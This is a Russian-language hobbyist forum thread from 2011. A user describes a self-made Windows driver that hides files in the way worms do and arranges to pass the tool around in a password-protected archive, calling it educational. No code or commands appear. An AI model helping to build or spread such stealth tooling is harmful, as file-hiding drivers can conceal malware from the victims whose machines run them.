Смотрю стоило мне уйти в отпуск так тут все застыло. Ну короче говоря по поводу "Вызов на поле битвы по имени Windows?" Я тут не особо разобрался как запарить пару файликов... Набросал я один безобидный примерчик. Который показывает как примерно работают червячки. =) Ну правда это все добро реализовано в виде дровера. Ну и само собой прогу которая его установит и запустит... Потому что отдельный дроппер я выкладывать не хочу. "Моё! Не дам!" Такова селяви =). Вот теперь глупый вопрос И даже не по теме. Как сюдой залить файлик. Или же отписываемся тут кому это добро интересно и тогда выложу его куда-то где можно будет спокойно скачать... Ну и ясен пень поясню как его запускать руками...
Лишь ум, потерянный бесповоротно мною,
Наполнить может сердце мне тоскою.
(с) Оззи Озборн
Наполнить может сердце мне тоскою.
(с) Оззи Озборн
#12
Отправлено 20 January 2011 - 08:05
Хммм, ну можно попробовать. Хотя лучше сделаем так. Я вскину софт нашему модеру, а именно детю подеземелья который себя именует как *КРОТ# надо же хоть как-то нашу администрацию подпрягать... Тем более он лучше меня петрит во всяких файлообменниках. Ну и за одно будет первопроходцем и по цензуре посмотрит. Малоли мож софт травмирует неокрепшую психику Ну а за паролем к архиву ко мне в личку... Ну или к администрации =))
З.Ы. Сразу скажу что это все дело только для образовательных целей. Если кто-то попробует эту технологию юзать в самописных зверях то сразу огорчу, эта технология уже давно известна. Но для личных целей ее можно использовать на ура. Например когда Вы хотите чтоб кроме вас нужное файло никто не видел... Но правда это надо дорабатывать. Да и это уже другая история... Так о примерно такие вот пироги.
З.Ы. Сразу скажу что это все дело только для образовательных целей. Если кто-то попробует эту технологию юзать в самописных зверях то сразу огорчу, эта технология уже давно известна. Но для личных целей ее можно использовать на ура. Например когда Вы хотите чтоб кроме вас нужное файло никто не видел... Но правда это надо дорабатывать. Да и это уже другая история... Так о примерно такие вот пироги.
Лишь ум, потерянный бесповоротно мною,
Наполнить может сердце мне тоскою.
(с) Оззи Озборн
Наполнить может сердце мне тоскою.
(с) Оззи Озборн
#14
Отправлено 21 January 2011 - 07:40
Ну давай, давай, хоть код протестирован, но тем не менее как я уже говорил что надо и администрацию подпрягать... Шоб штаны не протирала... А тудой заявочку покамесь не хочу. Я подумаю. А то найдется еще кто-то типа меня и начнет тоже администрацию напрягать =))... Ну короче говоря когда все поставишь и если будут затруднение свисти... Да, забыл совсем сказать. Это дело все собрано под х32... Так шо имей ввиду... Под х64 я еще не собирал бо лень, да и там еще чтоб установить дровер надо с бубном поплясать... Но это уже другая история которая, на сколько я понимаю скоро появится на страницах этого форума... Надо же как-то народ привликать.
Лишь ум, потерянный бесповоротно мною,
Наполнить может сердце мне тоскою.
(с) Оззи Озборн
Наполнить может сердце мне тоскою.
(с) Оззи Озборн
#15
Отправлено 24 January 2011 - 08:18
Да, кстати, всем кому интересна эта тема и те кто горят желанием поучавствовать оставляем тут заявочки... А-то такое ощущение что только мне и Кроту это больше всего надо =).
Лишь ум, потерянный бесповоротно мною,
Наполнить может сердце мне тоскою.
(с) Оззи Озборн
Наполнить может сердце мне тоскою.
(с) Оззи Озборн
Количество пользователей, читающих эту тему: 0
0 пользователей, 0 гостей, 0 анонимных